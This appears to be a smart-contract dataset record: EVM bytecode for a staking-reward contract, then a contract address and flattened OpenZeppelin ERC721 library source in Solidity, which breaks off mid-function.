0x608060405234801561001057600080fd5b506004361061011b5760003560e01c806377b28482116100b2578063b1a03b6b11610081578063ee07080511610066578063ee070805146101fd578063f2fde38b14610212578063f7c618c1146102255761011b565b8063b1a03b6b146101d7578063df18e047146101ea5761011b565b806377b28482146101ac5780638da5cb5b146101bf57806394b5798a146101c7578063acfd9325146101cf5761011b565b80634e71d92d116100ee5780634e71d92d1461018157806366a7d821146101895780636fbaaa1e1461019c578063715018a6146101a45761011b565b8063100223bb1461012057806311ceae131461013e5780634831976c146101535780634a91f2b11461016c575b600080fd5b61012861022d565b6040516101359190611585565b60405180910390f35b61015161014c366004611079565b610233565b005b61015b610308565b60405161013595949392919061117b565b610174610333565b6040516101359190611103565b61012861034f565b610151610197366004611079565b61049f565b6101286104e2565b6101516104e8565b6101516101ba366004611093565b6105e5565b61017461083a565b610128610856565b61015161085c565b6101286101e5366004611079565b610a24565b6101286101f8366004611079565b610a36565b610205610a48565b60405161013591906111b6565b610151610220366004611079565b610a51565b610174610bbe565b60075481565b73ffffffffffffffffffffffffffffffffffffffff811661026f5760405162461bcd60e51b8152600401610266906111c1565b60405180910390fd5b61027761083a565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146102c15760405162461bcd60e51b81526004016102669061154e565b600c80547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60015460025460035460045460055473ffffffffffffffffffffffffffffffffffffffff9094169385565b600c5473ffffffffffffffffffffffffffffffffffffffff1681565b600061035a33610bda565b336000908152600b6020526040902054806103875760405162461bcd60e51b815260040161026690611335565b336000818152600b602052604080822091909155600d5490517fa9059cbb00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff9091169163a9059cbb916103f191908590600401611124565b602060405180830381600087803b15801561040b57600080fd5b505af115801561041f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061044391906110cb565b5061044c61085c565b3373ffffffffffffffffffffffffffffffffffffffff167f47cee97cb7acd717b3c0aa1435d004cd5b3c8c57d70dbceb4e4458bbd60e39d4826040516104929190611585565b60405180910390a2905090565b600c5473ffffffffffffffffffffffffffffffffffffffff1633146104d65760405162461bcd60e51b81526004016102669061136c565b6104df81610bda565b50565b60095481565b6104f0610c67565b73ffffffffffffffffffffffffffffffffffffffff1661050e61083a565b73ffffffffffffffffffffffffffffffffffffffff1614610576576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6000805460405173ffffffffffffffffffffffffffffffffffffffff909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b6105ed61083a565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106375760405162461bcd60e51b81526004016102669061154e565b60065460ff161561065a5760405162461bcd60e51b8152600401610266906113a3565b60015473ffffffffffffffffffffffffffffffffffffffff16156106dc5773ffffffffffffffffffffffffffffffffffffffff8416156106ac5760405162461bcd60e51b81526004016102669061127b565b600680547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016600117905561070f565b73ffffffffffffffffffffffffffffffffffffffff841661070f5760405162461bcd60e51b8152600401610266906112d8565b73ffffffffffffffffffffffffffffffffffffffff84166107895782156107485760405162461bcd60e51b815260040161026690611494565b81156107665760405162461bcd60e51b8152600401610266906114f1565b80156107845760405162461bcd60e51b8152600401610266906113da565b6107c8565b8282116107a85760405162461bcd60e51b815260040161026690611437565b600081116107c85760405162461bcd60e51b81526004016102669061121e565b600180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff86161790556002839055600382905561081c8284610c6b565b60045560058190556007548311156108345760078390555b50505050565b60005473ffffffffffffffffffffffffffffffffffffffff1690565b60085481565b600d546040517f70a0823100000000000000000000000000000000000000000000000000000000815260009173ffffffffffffffffffffffffffffffffffffffff16906370a08231906108b3903090600401611103565b60206040518083038186803b1580156108cb57600080fd5b505afa1580156108df573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061090391906110eb565b905080158061091457506008548111155b1561092157600855610a22565b600c54604080517f2139353f000000000000000000000000000000000000000000000000000000008152905160009273ffffffffffffffffffffffffffffffffffffffff1691632139353f916004808301926020929190829003018186803b15801561098c57600080fd5b505afa1580156109a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c491906110eb565b9050806109d2575050610a22565b60006109e960085484610c6b90919063ffffffff16565b90506000610a15610a0c84610a0685670de0b6b3a7640000610ccd565b90610d2d565b60095490610d94565b6008949094555050506009555b565b600a6020526000908152604090205481565b600b6020526000908152604090205481565b60065460ff1681565b610a59610c67565b73ffffffffffffffffffffffffffffffffffffffff16610a7761083a565b73ffffffffffffffffffffffffffffffffffffffff1614610adf576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff8116610b315760405162461bcd60e51b815260040180806020018281038252602681526020018061158f6026913960400191505060405180910390fd5b6000805460405173ffffffffffffffffffffffffffffffffffffffff808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b600d5473ffffffffffffffffffffffffffffffffffffffff1681565b610be2610dee565b610bea61085c565b6000610bf582610f56565b73ffffffffffffffffffffffffffffffffffffffff83166000908152600b6020526040902054909150610c289082610d94565b73ffffffffffffffffffffffffffffffffffffffff9092166000908152600b6020908152604080832094909455600954600a9091529290209190915550565b3390565b600082821115610cc2576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b508082035b92915050565b600082610cdc57506000610cc7565b82820282848281610ce957fe5b0414610d265760405162461bcd60e51b81526004018080602001828103825260218152602001806115b56021913960400191505060405180910390fd5b9392505050565b6000808211610d83576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b818381610d8c57fe5b049392505050565b600082820183811015610d26576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b60015473ffffffffffffffffffffffffffffffffffffffff161580610e14575060025442105b15610e1e57610a22565b60035442811115610e2c5750425b8060075410610e3b5750610a22565b6000610e5260075483610c6b90919063ffffffff16565b600454909150600090610e7190610a0684670de0b6b3a7640000610ccd565b90506000610e99670de0b6b3a7640000610a0684600160040154610ccd90919063ffffffff16565b42600755600d546001546040517f23b872dd00000000000000000000000000000000000000000000000000000000815292935073ffffffffffffffffffffffffffffffffffffffff918216926323b872dd92610efd9216903090869060040161114a565b602060405180830381600087803b158015610f1757600080fd5b505af1158015610f2b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f4f91906110cb565b5050505050565b73ffffffffffffffffffffffffffffffffffffffff81166000908152600a60205260408120546009548291610f8b9190610c6b565b600c546040517f70a0823100000000000000000000000000000000000000000000000000000000815291925061104c91670de0b6b3a764000091610a0691859173ffffffffffffffffffffffffffffffffffffffff16906370a0823190610ff6908a90600401611103565b60206040518083038186803b15801561100e57600080fd5b505afa158015611022573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104691906110eb565b90610ccd565b9150505b919050565b803573ffffffffffffffffffffffffffffffffffffffff8116811461105057600080fd5b60006020828403121561108a578081fd5b610d2682611055565b600080600080608085870312156110a8578283fd5b6110b185611055565b966020860135965060408601359560600135945092505050565b6000602082840312156110dc578081fd5b81518015158114610d26578182fd5b6000602082840312156110fc578081fd5b5051919050565b73ffffffffffffffffffffffffffffffffffffffff91909116815260200190565b73ffffffffffffffffffffffffffffffffffffffff929092168252602082015260400190565b73ffffffffffffffffffffffffffffffffffffffff9384168152919092166020820152604081019190915260600190565b73ffffffffffffffffffffffffffffffffffffffff959095168552602085019390935260408401919091526060830152608082015260a00190565b901515815260200190565b60208082526021908201527f73757065726e6f76612061646472657373206d757374206e6f7420626520307860408201527f3000000000000000000000000000000000000000000000000000000000000000606082015260800190565b6020808252602d908201527f736574757020636f6e74726163743a20616d6f756e74206d757374206265206760408201527f726561746572207468616e203000000000000000000000000000000000000000606082015260800190565b6020808252602e908201527f636f6e747261637420697320616c7265616479207365742075702c20736f757260408201527f6365206d75737420626520307830000000000000000000000000000000000000606082015260800190565b6020808252602c908201527f636f6e7472616374206973206e6f742073657475702c20736f75726365206d7560408201527f737420626520213d203078300000000000000000000000000000000000000000606082015260800190565b60208082526010908201527f6e6f7468696e6720746f20636c61696d00000000000000000000000000000000604082015260600190565b6020808252601a908201527f6f6e6c792063616c6c61626c652062792073757065726e6f7661000000000000604082015260600190565b60208082526014908201527f636f6e74726163742069732064697361626c6564000000000000000000000000604082015260600190565b60208082526022908201527f64697361626c6520636f6e74726163743a20616d6f756e74206d75737420626560408201527f2030000000000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526032908201527f736574757020636f6e74726163743a20656e645473206d75737420626520677260408201527f6561746572207468616e20737461727454730000000000000000000000000000606082015260800190565b60208082526023908201527f64697361626c6520636f6e74726163743a2073746172745473206d757374206260408201527f6520300000000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526021908201527f64697361626c6520636f6e74726163743a20656e645473206d7573742062652060408201527f3000000000000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526006908201527f216f776e65720000000000000000000000000000000000000000000000000000604082015260600190565b9081526020019056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a26469706673582212207d0feb4e6d3586f44131b37872850fa7c8995a0fdc2ee881220bffdbdd894d0264736f6c63430007060033
[ 16, 4, 9, 7 ]
0xf30749c6e413a2596923eca308f1ec73e00a505c
// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/utils/introspection/IERC165.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] 